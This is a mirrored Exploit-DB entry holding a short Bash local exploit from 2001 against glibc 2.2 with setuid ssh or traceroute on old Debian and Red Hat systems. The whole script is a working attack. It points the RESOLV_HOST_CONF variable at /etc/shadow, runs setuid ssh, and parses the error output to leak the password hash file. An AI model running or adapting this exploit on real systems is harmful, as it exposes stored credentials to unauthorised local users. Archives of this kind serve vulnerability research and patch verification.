mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-11 06:21:28 -10:00
33 lines
1.0 KiB
Bash
Executable File
33 lines
1.0 KiB
Bash
Executable File
# Charles Stevenson <[email protected]>
|
|
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
|
|
# This exploits is for glibc >= 2.1.9x.
|
|
# (****[email protected]****)
|
|
# Edit this if you have a problem with path
|
|
|
|
ssh=/usr/bin/ssh
|
|
traceroute=/usr/sbin/traceroute
|
|
FILE=/etc/shadow # File to read
|
|
###############################################################################
|
|
|
|
echo "$ssh"
|
|
echo "[*] Checking permisions..."
|
|
|
|
if [ ! -u $ssh ]; then
|
|
echo "$ssh is NOT setuid on this system or does not exist at all!"
|
|
if [ ! -u $traceroute ]; then
|
|
echo "$traceroute is NOT setuid on this system or does not exist at all!"
|
|
exit 0
|
|
fi
|
|
fi
|
|
|
|
export RESOLV_HOST_CONF=$FILE
|
|
|
|
echo "[*] Glibc bug found by Charles Stevenson <[email protected]>"
|
|
echo "[*] [email protected]"
|
|
sleep 1
|
|
echo "[*] export RESOLV_HOST_CONF=/etc/shadow"
|
|
ssh lt 2>/tmp/.resolv
|
|
cat /tmp/.resolv | cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '
|
|
|
|
# milw0rm.com [2001-01-25]
|